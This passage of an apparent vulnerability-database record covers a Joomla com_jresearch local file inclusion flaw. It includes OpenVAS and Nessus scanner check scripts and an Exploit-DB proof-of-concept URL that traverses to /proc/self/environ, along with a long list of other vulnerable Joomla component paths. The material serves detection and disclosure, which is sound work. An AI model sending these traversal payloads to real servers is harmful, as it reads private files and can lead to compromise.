"2018-10-24T00:00:00", "naslFamily": "Web application abuses", "objectVersion": "1.3", "pluginID": "1361412562310902386", "published": "2011-06-24T00:00:00", "references": ["http://www.1337day.com/exploits/16376", "http://www.exploit-id.com/web-applications/joomla-component-com_jresearch-local-file-inclusion"], "reporter": "Copyright (C) 2011 SecPod", "sourceData": "##############################################################################\n# OpenVAS Vulnerability Test\n# $Id: secpod_joomla_com_jresearch_lfi_vuln.nasl 12055 2018-10-24 12:00:58Z asteins $\n#\n# Joomla Component 'com_jresearch' Local File Inclusion Vulnerability\n#\n# Authors:\n# Madhuri D <dmadhuri@secpod.com>\n#\n# Copyright:\n# Copyright (c) 2011 SecPod, http://www.secpod.com\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.902386\");\n script_version(\"$Revision: 12055 $\");\n script_cve_id(\"CVE-2010-1340\");\n script_bugtraq_id(38917);\n script_tag(name:\"last_modification\", value:\"$Date: 2018-10-24 14:00:58 +0200 (Wed, 24 Oct 2018) $\");\n script_tag(name:\"creation_date\", value:\"2011-06-24 16:31:03 +0200 (Fri, 24 Jun 2011)\");\n script_tag(name:\"cvss_base\", value:\"5.0\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:P/I:N/A:N\");\n script_name(\"Joomla Component 'com_jresearch' Local File Inclusion Vulnerability\");\n script_category(ACT_ATTACK);\n script_copyright(\"Copyright (C) 2011 SecPod\");\n script_family(\"Web application abuses\");\n script_dependencies(\"joomla_detect.nasl\", \"os_detection.nasl\");\n script_require_ports(\"Services/www\", 80);\n script_mandatory_keys(\"joomla/installed\");\n\n script_xref(name:\"URL\", value:\"http://www.1337day.com/exploits/16376\");\n script_xref(name:\"URL\", value:\"http://www.exploit-id.com/web-applications/joomla-component-com_jresearch-local-file-inclusion\");\n\n script_tag(name:\"impact\", value:\"Successful exploitation could allow attackers to perform directory\n traversal attacks and read arbitrary files on the affected application.\");\n\n script_tag(name:\"affected\", value:\"Joomla jresearch component Version 1.2.2, Other versions may also\n be affected.\");\n\n script_tag(name:\"insight\", value:\"The flaw is caused by improper validation of user-supplied input via\n the 'controller' parameter in 'index.php', which allows attackers to read arbitrary files via a ../(dot dot) sequences.\");\n\n script_tag(name:\"solution\", value:\"No known solution was made available for at least one year since the disclosure of this vulnerability.\n Likely none will be provided anymore.\n General solution options are to upgrade to a newer release, disable respective features, remove the product or replace the product by another one.\");\n\n script_tag(name:\"summary\", value:\"This host is running Joomla and is prone to local file inclusion\n vulnerability.\");\n\n script_tag(name:\"qod_type\", value:\"remote_vul\");\n script_tag(name:\"solution_type\", value:\"WillNotFix\");\n\n exit(0);\n}\n\nCPE = \"cpe:/a:joomla:joomla\";\n\ninclude(\"misc_func.inc\");\ninclude(\"http_func.inc\");\ninclude(\"version_func.inc\");\ninclude(\"host_details.inc\");\ninclude(\"http_keepalive.inc\");\n\nif(!joomlaPort = get_app_port(cpe:CPE)) exit(0);\nif(!joomlaDir = get_app_location(port:joomlaPort, cpe:CPE)) exit(0);\n\nif(joomlaDir == \"/\") joomlaDir = \"\";\n\nfiles = traversal_files();\nforeach file (keys(files)){\n\n url = string(joomlaDir, \"/index.php?option=com_jresearch&controller=../../../../../../../../../../../../../..\", files[file], \"%00\");\n\n if(http_vuln_check(port:joomlaPort, url:url, pattern:file)){\n report = report_vuln_url(port:joomlaPort, url:url);\n security_message(port:joomlaPort, data:report);\n exit(0);\n }\n}\n\nexit(99);\n", "title": "Joomla Component 'com_jresearch' Local File Inclusion Vulnerability", "type": "openvas", "viewCount": 3}, "differentElements": ["cvss"], "edition": 4, "lastseen": "2018-10-24T18:44:12"}], "edition": 6, "hashmap": [{"key": "bulletinFamily", "hash": "bbdaea376f500d25f6b0c1050311dd07"}, {"key": "cvelist", "hash": "fa0d9e0f309bf8ac9c2671ddeb31a7dd"}, {"key": "cvss", "hash": "a89198c45ce87f7ec9735a085150b708"}, {"key": "description", "hash": "a176a08194c9071b1d5ab80c45df94ac"}, {"key": "href", "hash": "9ff00ef6cfd427915a6c434fa3f31b52"}, {"key": "modified", "hash": "ba37df9fa7b81cc13ef46305ab056420"}, {"key": "naslFamily", "hash": "55199d25018fbdb9b50e6b64d444c3a4"}, {"key": "pluginID", "hash": "cb92f3b8de59b7e18b86e262e9fe7501"}, {"key": "published", "hash": "985a8d1593356d8381e11a34d7019e2c"}, {"key": "references", "hash": "168ef83102d79473ce67b536285689d4"}, {"key": "reporter", "hash": "8b3416ddddfb6b12b0926d0c42fb23e1"}, {"key": "sourceData", "hash": "e171d17ec79ef90f8ae5298621561889"}, {"key": "title", "hash": "7810b06b9a591e3f076a9c6bda18cb72"}, {"key": "type", "hash": "47c1f692ea47a21f716dad07043ade01"}], "hash": "c6266e782461a0245623721ae0c37e244331b7cc26b4715fc25051dce1ec7d4f", "viewCount": 7, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2010-1340"]}, {"type": "exploitdb", "idList": ["EDB-ID:33797"]}, {"type": "nessus", "idList": ["JOOMLA_COMPONENTS_CONTROLLER_LFI.NASL"]}], "modified": "2019-12-06T16:45:49"}, "score": {"value": 7.0, "vector": "NONE", "modified": "2019-12-06T16:45:49"}, "vulnersScore": 7.0}, "objectVersion": "1.3", "sourceData": "##############################################################################\n# OpenVAS Vulnerability Test\n#\n# Joomla Component 'com_jresearch' Local File Inclusion Vulnerability\n#\n# Authors:\n# Madhuri D <dmadhuri@secpod.com>\n#\n# Copyright:\n# Copyright (c) 2011 SecPod, http://www.secpod.com\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.902386\");\n script_version(\"2019-12-05T15:10:00+0000\");\n script_cve_id(\"CVE-2010-1340\");\n script_bugtraq_id(38917);\n script_tag(name:\"last_modification\", value:\"2019-12-05 15:10:00 +0000 (Thu, 05 Dec 2019)\");\n script_tag(name:\"creation_date\", value:\"2011-06-24 16:31:03 +0200 (Fri, 24 Jun 2011)\");\n script_tag(name:\"cvss_base\", value:\"5.0\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:P/I:N/A:N\");\n script_name(\"Joomla Component 'com_jresearch' Local File Inclusion Vulnerability\");\n script_category(ACT_ATTACK);\n script_copyright(\"Copyright (C) 2011 SecPod\");\n script_family(\"Web application abuses\");\n script_dependencies(\"joomla_detect.nasl\", \"os_detection.nasl\");\n script_require_ports(\"Services/www\", 80);\n script_mandatory_keys(\"joomla/installed\");\n\n script_xref(name:\"URL\", value:\"http://www.1337day.com/exploits/16376\");\n script_xref(name:\"URL\", value:\"http://www.exploit-id.com/web-applications/joomla-component-com_jresearch-local-file-inclusion\");\n\n script_tag(name:\"impact\", value:\"Successful exploitation could allow attackers to perform directory\n traversal attacks and read arbitrary files on the affected application.\");\n\n script_tag(name:\"affected\", value:\"Joomla jresearch component Version 1.2.2, Other versions may also\n be affected.\");\n\n script_tag(name:\"insight\", value:\"The flaw is caused by improper validation of user-supplied input via\n the 'controller' parameter in 'index.php', which allows attackers to read arbitrary files via a ../(dot dot) sequences.\");\n\n script_tag(name:\"solution\", value:\"No known solution was made available for at least one year since the disclosure of this vulnerability.\n Likely none will be provided anymore.\n General solution options are to upgrade to a newer release, disable respective features, remove the product or replace the product by another one.\");\n\n script_tag(name:\"summary\", value:\"This host is running Joomla and is prone to local file inclusion\n vulnerability.\");\n\n script_tag(name:\"qod_type\", value:\"remote_vul\");\n script_tag(name:\"solution_type\", value:\"WillNotFix\");\n\n exit(0);\n}\n\nCPE = \"cpe:/a:joomla:joomla\";\n\ninclude(\"misc_func.inc\");\ninclude(\"http_func.inc\");\ninclude(\"host_details.inc\");\ninclude(\"http_keepalive.inc\");\n\nif(!joomlaPort = get_app_port(cpe:CPE)) exit(0);\nif(!joomlaDir = get_app_location(port:joomlaPort, cpe:CPE)) exit(0);\n\nif(joomlaDir == \"/\") joomlaDir = \"\";\n\nfiles = traversal_files();\nforeach file (keys(files)){\n\n url = string(joomlaDir, \"/index.php?option=com_jresearch&controller=../../../../../../../../../../../../../..\", files[file], \"%00\");\n\n if(http_vuln_check(port:joomlaPort, url:url, pattern:file)){\n report = report_vuln_url(port:joomlaPort, url:url);\n security_message(port:joomlaPort, data:report);\n exit(0);\n }\n}\n\nexit(99);\n", "naslFamily": "Web application abuses", "pluginID": "1361412562310902386", "scheme": null}
{"cve": [{"lastseen": "2019-05-29T18:10:27", "bulletinFamily": "NVD", "description": "Directory traversal vulnerability in jresearch.php in the J!Research (com_jresearch) component for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.", "modified": "2017-08-17T01:32:00", "id": "CVE-2010-1340", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-1340", "published": "2010-04-09T18:30:00", "title": "CVE-2010-1340", "type": "cve", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}], "exploitdb": [{"lastseen": "2016-02-03T19:55:00", "bulletinFamily": "exploit", "description": "Joomla! 'com_jresearch' Component 'controller' Parameter Local File Include Vulnerability. CVE-2010-1340. Webapps exploit for php platform", "modified": "2010-03-24T00:00:00", "published": "2010-03-24T00:00:00", "id": "EDB-ID:33797", "href": "https://www.exploit-db.com/exploits/33797/", "type": "exploitdb", "title": "Joomla! 'com_jresearch' Component - 'controller' Parameter Local File Include Vulnerability", "sourceData": "source: http://www.securityfocus.com/bid/38917/info\r\n\r\nThe 'com_jresearch' component for Joomla! is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.\r\n\r\nAn attacker can exploit this vulnerability to obtain potentially sensitive information and execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible. \r\n\r\nhttp://www.example.com/index.php?option=com_jresearch&controller=../../../../../../../../../../proc/self/environ%00 ", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:NONE/A:NONE/"}, "sourceHref": "https://www.exploit-db.com/download/33797/"}], "nessus": [{"lastseen": "2019-11-01T02:48:12", "bulletinFamily": "scanner", "description": "The remote host contains a component for Joomla! or Mambo that fails\nto sanitize user-supplied input to multiple parameters in a GET\nrequest before using it to include PHP code. Regardless of the PHP\n", "modified": "2019-11-02T00:00:00", "id": "JOOMLA_COMPONENTS_CONTROLLER_LFI.NASL", "href": "https://www.tenable.com/plugins/nessus/43636", "published": "2010-01-04T00:00:00", "title": "Joomla! / Mambo Component Multiple Parameter Local File Include Vulnerabilities", "type": "nessus", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(43636);\n script_version(\"1.160\");\n script_cvs_date(\"Date: 2019/10/16 10:34:21\");\n\n script_cve_id(\n \"CVE-2010-0157\",\n \"CVE-2010-0467\",\n \"CVE-2010-0676\",\n \"CVE-2010-0944\",\n \"CVE-2010-0972\",\n \"CVE-2010-1056\",\n \"CVE-2010-1081\",\n \"CVE-2010-1304\",\n \"CVE-2010-1305\",\n \"CVE-2010-1306\",\n \"CVE-2010-1308\",\n \"CVE-2010-1312\",\n \"CVE-2010-1314\",\n \"CVE-2010-1340\",\n \"CVE-2010-1345\",\n \"CVE-2010-1352\",\n \"CVE-2010-1354\",\n \"CVE-2010-1469\",\n \"CVE-2010-1470\",\n \"CVE-2010-1471\",\n \"CVE-2010-1472\",\n \"CVE-2010-1473\",\n \"CVE-2010-1474\",\n \"CVE-2010-1475\",\n \"CVE-2010-1478\",\n \"CVE-2010-1491\",\n \"CVE-2010-1494\",\n \"CVE-2010-1534\",\n \"CVE-2010-1602\",\n \"CVE-2010-1607\",\n \"CVE-2010-1653\",\n \"CVE-2010-1658\",\n \"CVE-2010-1714\",\n \"CVE-2010-1715\",\n \"CVE-2010-1717\",\n \"CVE-2010-1718\",\n \"CVE-2010-1719\",\n \"CVE-2010-1722\",\n \"CVE-2010-1723\",\n \"CVE-2010-1858\",\n \"CVE-2010-1875\",\n \"CVE-2010-1878\",\n \"CVE-2010-1952\",\n \"CVE-2010-1953\",\n \"CVE-2010-1954\",\n \"CVE-2010-1956\",\n \"CVE-2010-1979\",\n \"CVE-2010-1980\",\n \"CVE-2010-1981\",\n \"CVE-2010-2033\",\n \"CVE-2010-2034\",\n \"CVE-2010-2035\",\n \"CVE-2010-2036\",\n \"CVE-2010-2037\",\n \"CVE-2010-2050\",\n \"CVE-2010-2122\",\n \"CVE-2010-2507\",\n \"CVE-2010-3426\",\n \"CVE-2010-4977\",\n \"CVE-2011-4804\"\n );\n script_bugtraq_id(\n 37583,\n 37596,\n 37691,\n 37987,\n 38267,\n 38330,\n 38715,\n 38741,\n 38742,\n 38743,\n 38747,\n 38749,\n 38751,\n 38761,\n 38783,\n 38911,\n 38912,\n 38917,\n 39174,\n 39176,\n 39177,\n 39178,\n 39200,\n 39203,\n 39208,\n 39213,\n 39214,\n 39222,\n 39239,\n 39246,\n 39248,\n 39251,\n 39266,\n 39267,\n 39331,\n 39342,\n 39383,\n 39385,\n 39386,\n 39387,\n 39388,\n 39390,\n 39398,\n 39399,\n 39497,\n 39506,\n 39509,\n 39545,\n 39547,\n 39548,\n 39560,\n 39562,\n 39566,\n 39606,\n 39607,\n 39608,\n 39742,\n 39743,\n 40175,\n 40176,\n 40177,\n 40185,\n 40192,\n 40244,\n 40328,\n 40412,\n 40440,\n 40964,\n 41031,\n 41358,\n 42486,\n 43147,\n 43820,\n 46081,\n 48345,\n 48944,\n 56994\n );\n script_xref(name:\"EDB-ID\", value:\"10928\");\n script_xref(name:\"EDB-ID\", value:\"10943\");\n script_xref(name:\"EDB-ID\", value:\"11088\");\n script_xref(name:\"EDB-ID\", value:\"11277\");\n script_xref(name:\"EDB-ID\", value:\"11282\");\n script_xref(name:\"EDB-ID\", value:\"11707\");\n script_xref(name:\"EDB-ID\", value:\"11738\");\n script_xref(name:\"EDB-ID\", value:\"11740\");\n script_xref(name:\"EDB-ID\", value:\"11743\");\n script_xref(name:\"EDB-ID\", value:\"11756\");\n script_xref(name:\"EDB-ID\", value:\"11758\");\n script_xref(name:\"EDB-ID\", value:\"11759\");\n script_xref(name:\"EDB-ID\", value:\"11760\");\n script_xref(name:\"EDB-ID\", value:\"11785\");\n script_xref(name:\"EDB-ID\", value:\"11851\");\n script_xref(name:\"EDB-ID\", value:\"11853\");\n script_xref(name:\"EDB-ID\", value:\"11996\");\n script_xref(name:\"EDB-ID\", value:\"11997\");\n script_xref(name:\"EDB-ID\", value:\"11998\");\n script_xref(name:\"EDB-ID\", value:\"12058\");\n script_xref(name:\"EDB-ID\", value:\"12065\");\n script_xref(name:\"EDB-ID\", value:\"12066\");\n script_xref(name:\"EDB-ID\", value:\"12067\");\n script_xref(name:\"EDB-ID\", value:\"12069\");\n script_xref(name:\"EDB-ID\", value:\"12077\");\n script_xref(name:\"EDB-ID\", value:\"12084\");\n script_xref(name:\"EDB-ID\", value:\"12085\");\n script_xref(name:\"EDB-ID\", value:\"12086\");\n script_xref(name:\"EDB-ID\", value:\"12087\");\n script_xref(name:\"EDB-ID\", value:\"12088\");\n script_xref(name:\"EDB-ID\", value:\"12101\");\n script_xref(name:\"EDB-ID\", value:\"12102\");\n script_xref(name:\"EDB-ID\", value:\"12111\");\n script_xref(name:\"EDB-ID\", value:\"12113\");\n script_xref(name:\"EDB-ID\", value:\"12142\");\n script_xref(name:\"EDB-ID\", value:\"12145\");\n script_xref(name:\"EDB-ID\", value:\"12146\");\n script_xref(name:\"EDB-ID\", value:\"12147\");\n script_xref(name:\"EDB-ID\", value:\"12149\");\n script_xref(name:\"EDB-ID\", value:\"12151\");\n script_xref(name:\"EDB-ID\", value:\"12166\");\n script_xref(name:\"EDB-ID\", value:\"12167\");\n script_xref(name:\"EDB-ID\", value:\"12168\");\n script_xref(name:\"EDB-ID\", value:\"12169\");\n script_xref(name:\"EDB-ID\", value:\"12170\");\n script_xref(name:\"EDB-ID\", value:\"12171\");\n script_xref(name:\"EDB-ID\", value:\"12172\");\n script_xref(name:\"EDB-ID\", value:\"12173\");\n script_xref(name:\"EDB-ID\", value:\"12174\");\n script_xref(name:\"EDB-ID\", value:\"12175\");\n script_xref(name:\"EDB-ID\", value:\"12176\");\n script_xref(name:\"EDB-ID\", value:\"12177\");\n script_xref(name:\"EDB-ID\", value:\"12178\");\n script_xref(name:\"EDB-ID\", value:\"12180\");\n script_xref(name:\"EDB-ID\", value:\"12181\");\n script_xref(name:\"EDB-ID\", value:\"12182\");\n script_xref(name:\"EDB-ID\", value:\"12230\");\n script_xref(name:\"EDB-ID\", value:\"12233\");\n script_xref(name:\"EDB-ID\", value:\"12239\");\n script_xref(name:\"EDB-ID\", value:\"12282\");\n script_xref(name:\"EDB-ID\", value:\"12283\");\n script_xref(name:\"EDB-ID\", value:\"12285\");\n script_xref(name:\"EDB-ID\", value:\"12287\");\n script_xref(name:\"EDB-ID\", value:\"12288\");\n script_xref(name:\"EDB-ID\", value:\"12289\");\n script_xref(name:\"EDB-ID\", value:\"12290\");\n script_xref(name:\"EDB-ID\", value:\"12291\");\n script_xref(name:\"EDB-ID\", value:\"12316\");\n script_xref(name:\"EDB-ID\", value:\"12317\");\n script_xref(name:\"EDB-ID\", value:\"12318\");\n script_xref(name:\"EDB-ID\", value:\"12427\");\n script_xref(name:\"EDB-ID\", value:\"12430\");\n script_xref(name:\"EDB-ID\", value:\"12611\");\n script_xref(name:\"EDB-ID\", value:\"12618\");\n script_xref(name:\"EDB-ID\", value:\"12769\");\n script_xref(name:\"EDB-ID\", value:\"12814\");\n script_xref(name:\"EDB-ID\", value:\"13924\");\n script_xref(name:\"EDB-ID\", value:\"13981\");\n script_xref(name:\"EDB-ID\", value:\"14656\");\n script_xref(name:\"EDB-ID\", value:\"14964\");\n script_xref(name:\"EDB-ID\", value:\"17411\");\n\n script_name(english:\"Joomla! / Mambo Component Multiple Parameter Local File Include Vulnerabilities\");\n script_summary(english:\"Attempts to read a local file.\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote web server contains a PHP application that is affected by\nmultiple local file include vulnerabilities.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote host contains a component for Joomla! or Mambo that fails\nto sanitize user-supplied input to multiple parameters in a GET\nrequest before using it to include PHP code. Regardless of the PHP\n'register_globals' setting, an unauthenticated, remote attacker can\nexploit this issue to disclose arbitrary files or possibly execute\narbitrary PHP code on the remote host, subject to the privileges of\nthe web server user ID.\");\n script_set_attribute(attribute:\"solution\", value:\n\"Contact the vendor of each affected component to see if an upgrade is\navailable or else disable it.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:F/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:F/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"d2_elliot_name\", value:\"Joomla Component com_shoutbox LFI\");\n script_set_attribute(attribute:\"exploit_framework_d2_elliot\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n script_cwe_id(22);\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2010/01/03\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2010/01/04\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"remote\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:joomla:joomla\\!\");\n script_set_attribute(attribute:\"exploited_by_nessus\", value:\"true\");\n script_end_attributes();\n\n script_category(ACT_ATTACK);\n script_family(english:\"CGI abuses\");\n\n script_copyright(english:\"This script is Copyright (C) 2010-2019 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"mambo_detect.nasl\", \"joomla_detect.nasl\", \"os_fingerprint.nasl\");\n script_require_ports(\"Services/www\", 80);\n script_require_keys(\"www/PHP\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"misc_func.inc\");\ninclude(\"http.inc\");\ninclude(\"webapp_func.inc\");\n\nport = get_http_port(default:80, php:TRUE);\napp = \"Mambo / Joomla!\";\n\n# Generate a list of paths to check.\nmambo = get_dirs_from_kb(appname:'mambo_mos', port:port);\nif (isnull(mambo)) mambo = make_list();\n\njoomla = make_list();\njoomla_installs = get_installs(\n app_name : \"Joomla!\",\n port : port\n);\n\nif (joomla_installs[0] == IF_OK)\n{\n foreach install (joomla_installs[1])\n {\n dir = install['path'];\n joomla = make_list(dir, joomla);\n }\n}\n\ndirs = make_list(mambo, joomla);\nif (max_index(dirs) == 0)\n audit(AUDIT_WEB_APP_NOT_INST, app, port);\n\n# Vulnerable components.\nncoms = 0;\ncom = make_array();\npat = make_array(); # regexes so we're sure the component is installed.\n\n# - A Cool Debate (Bugtraq 48345 / EDB-ID 17411)\ncom[ncoms] = \"/index.php?option=com_acooldebate\";\npat[ncoms] = 'class=\"mainDebateWrapper\"';\nncoms++;\n# - AddressBook (Bugtraq 39398 / EDB-ID 12170)\ncom[ncoms] = \"/index.php?option=com_addressbook\";\npat[ncoms] = 'Messege Could Not';\nncoms++;\n# - ArcadeGames (Bugtraq 39398 / EDB-ID 12168)\ncom[ncoms] = \"/index.php?option=com_arcadegames\";\npat[ncoms] = '<iframe id=\"ArcadeGames\"';\nncoms++;\n# - Archery Scores (Bugtraq 39545 / EDB-ID 12282)\ncom[ncoms] = \"/index.php?option=com_archeryscores\";\npat[ncoms] = 'archeryscoresView';\nncoms++;\n# - AWDwall (Bugtraq 39331 / EDB-ID 12113)\n# untested but confirmed at <http://www.awdwall.com/index.php/awdwall-updates-logs->.\ncom[ncoms] = \"/index.php?option=com_awdwall\";\npat[ncoms] = 'com_awdwall/views/awdwall/tmpl/';\nncoms++;\n# - aWiki (Bugtraq 39267 / EDB-ID 12101)\ncom[ncoms] = \"/index.php?option=com_awiki\";\npat[ncoms] = \"awikiView\";\nncoms++;\n# - BeeHeard (Bugtraq 39506 / EDB-ID 12239)\ncom[ncoms] = \"/index.php?option=com_beeheard\";\npat[ncoms] = 'beeheardView';\nncoms++;\ncom[ncoms] = \"/index.php?option=com_beeheardlite\";\npat[ncoms] = 'beeheardliteView';\nncoms++;\n# - Bible Study (Bugtraq 37583)\ncom[ncoms] = \"/index.php?option=com_biblestudy&id=1&view=studieslist\";\npat[ncoms] = \"js/biblestudy\\.js\";\nncoms++;\n# - BCA-RSS-Syndicator (Bugtraq 39208)\ncom[ncoms] = \"/index.php?option=com_bca-rss-syndicator\";\npat[ncoms] = '<generator>FeedCreator';\nncoms++;\n# - Boy Scout Adventure (Bugtraq 43820)\ncom[ncoms] = \"/index.php?option=com_bsadv\";\npat[ncoms] = 'controller=scoutranks|Scout Records';\nncoms++;\n# - Canteen (Bugtraq 41358)\ncom[ncoms] = \"/index.php?option=com_canteen\";\npat[ncoms] = 'canteenView';\nncoms++;\n# - ccNewsletter (Bugtraq 37987 and Exploit DB 11282)\n# Fixed in 1.0.6 per http://www.chillcreations.com/en/blog/ccnewsletter-joomla-newsletter/ccnewsletter-106-security-release.html\ncom[ncoms] = \"/index.php?option=com_ccnewsletter&view=ccnewsletter\";\npat[ncoms] = 'form action=.+ name=\"subscribeForm\"';\nncoms++;\ncom[ncoms] = \"/index.php?option=com_ccnewsletter\";\npat[ncoms] = 'form action=.+ name=\"subscribeForm\"';\nncoms++;\n# - CKForms (Bugtraq 38783)\ncom[ncoms] = \"/index.php?option=com_ckforms\";\npat[ncoms] = \"com_ckforms/js/ui.datepicker.packed.js\";\nncoms++;\n# - Community Polls (Bugtraq 38330)\ncom[ncoms] = \"/index.php?option=com_communitypolls\";\npat[ncoms] = \"\";\nncoms++;\n# - CV Maker (Bugtraq 39398 / EDB-ID 12172)\ncom[ncoms] = \"/index.php?option=com_cvmaker\";\npat[ncoms] = '<b>User Must Be Logged In</b>';\nncoms++;\n# - Daily Meals (Bugtraq 37596)\ncom[ncoms] = \"/index.php?option=com_dailymeals\";\npat[ncoms] = '<div id=\"dailymeals\">';\nncoms++;\n# - Datafeeds (Bugtraq 39246 / EDB-ID 12088)\ncom[ncoms] = \"/index.php?option=com_datafeeds\";\npat[ncoms] = '';\nncoms++;\n# - Digital Diary (Bugtraq 39398 / EDB-ID 12178)\ncom[ncoms] = \"/index.php?option=com_diary\";\npat[ncoms] = \"value='Diary' />\";\nncoms++;\n# - Draw Root Map (Bugtraq 39562 / EDB-ID 12289)\ncom[ncoms] = \"/index.php?option=com_drawroot\";\npat[ncoms] = 'drawRoute\\\\(\\\\)';\nncoms++;\n# - Easy Ad Banner (EDB-ID 12171)\ncom[ncoms] = \"/index.php?option=com_advertising\";\npat[ncoms] = '';\nncoms++;\n# - EContent (Bugtraq 39176)\n#\n# nb: we can only test based on PHP error messages.\ncom[ncoms] = \"/index.php?option=com_econtent\";\npat[ncoms] = \"\";\nncoms++;\n# - Fabrik (Bugtraq 40328 / EDB-ID 12087)\ncom[ncoms] = \"/index.php?option=com_fabrik\";\npat[ncoms] = \"com_fabrik/libs/mootools-ext\\.js\";\nncoms++;\n# - FlashGames (Bugtraq 39398 / EDB-ID 12169)\ncom[ncoms] = \"/index.php?option=com_flashgames\";\npat[ncoms] = 'Messege Could Not';\nncoms++;\n# - Frontend User Access (Bugtraq 46081)\ncom[ncoms] = \"/index.php?option=com_frontenduseraccess\";\npat[ncoms] = 'you have no access to this page<br';\nncoms++;\n# - G2Bridge (Bugtraq 40440/ EDB-ID 12814)\ncom[ncoms] = \"/index.php?option=com_g2bridge\";\npat[ncoms] = '';\nncoms++;\n# - Gadget Factory (Bugtraq 39547 / EDB-ID 12285)\ncom[ncoms] = \"/index.php?option=com_gadgetfactory\";\npat[ncoms] = '\"status\":0,\"message\":\"Wrong credentials\"';\nncoms++;\n# - Gallery XML (Bugtraq 40964)\ncom[ncoms] = \"/index.php?option=com_galleryxml\";\npat[ncoms] = 'galpic.+catpics.+gcatid';\nncoms++;\n# - GAnalytics (Bugtraq 38749)\ncom[ncoms] = \"/index.php?option=com_ganalytics\";\npat[ncoms] = '';\nncoms++;\n# - GCalendar (Bugtraq 38742)\ncom[ncoms] = \"/index.php?option=com_gcalendar\";\npat[ncoms] = '(gcalendar_powered|There is no calendar specified.+Parameter Basic)';\nncoms++;\n# - Google Map (Bugtraq 39560 / EDB-ID 12290)\ncom[ncoms] = \"/index.php?option=com_google\";\npat[ncoms] = '#google_map';\nncoms++;\n# - Graphics (BID 39743 / EDB-ID 12430)\ncom[ncoms] = \"/index.php?option=com_graphics\";\npat[ncoms] = 'GraphicsControllerGraphics';\nncoms++;\n# - Highslide JS Configuration (Bugtraq 39239 / EDB-ID 12086)\ncom[ncoms] = \"/index.php?option=com_hsconfig\";\npat[ncoms] = '';\nncoms++;\n# - Horoscope (Bugtraq 39398 / EDB-ID 12167)\ncom[ncoms] = \"/index.php?option=com_horoscope\";\npat[ncoms] = 'Messege Could Not';\nncoms++;\n# - iF surfALERT (Bugtraq 39566 / EDB-ID 12291)\ncom[ncoms] = \"/index.php?option=com_if_surfalert\";\npat[ncoms] = '<!-- SURF REPORT';\nncoms++;\n# - JCollection (Bugtraq 37691)\ncom[ncoms] = \"/index.php?option=com_jcollection\";\npat[ncoms] = 'jcollectionView';\nncoms++;\n# - Jfeedback (Bugtraq 39390 / EDB-ID 12145)\ncom[ncoms] = \"/index.php?option=com_jfeedback\";\npat[ncoms] = '';\nncoms++;\n# - JGrid (Bugtraq 42486 / EDB-ID 14656)\ncom[ncoms] = \"/index.php?option=com_jgrid\";\npat[ncoms] = 'var jgrid_(columns|store)';\nncoms++;\n# - JInventory (Bugtraq 39203)\n# untested but confirmed at <http://extensions.joomla.org/extensions/e-commerce/shopping-cart/7951>.\ncom[ncoms] = \"/index.php?option=com_jinventory\";\npat[ncoms] = 'jinventoryView';\nncoms++;\n# - Joomla! Flickr (Bugtraq 39251 / EDB-ID 12085)\ncom[ncoms] = \"/index.php?option=com_joomlaflickr\";\npat[ncoms] = 'joomlaflickrView';\nncoms++;\n# - Joomla! Picasa (Bugtraq 39200)\ncom[ncoms] = \"/index.php?option=com_joomlapicasa2\";\npat[ncoms] = 'joomlapicasa2View';\nncoms++;\n# - JoomMail (Bugtraq 39398 / EDB-ID 12175)\ncom[ncoms] = \"/index.php?option=com_joommail\";\npat[ncoms] = \"<center><b>User must be logged in</b>\";\nncoms++;\n# - jPhone (Bugtraq 43147 / EDB-ID 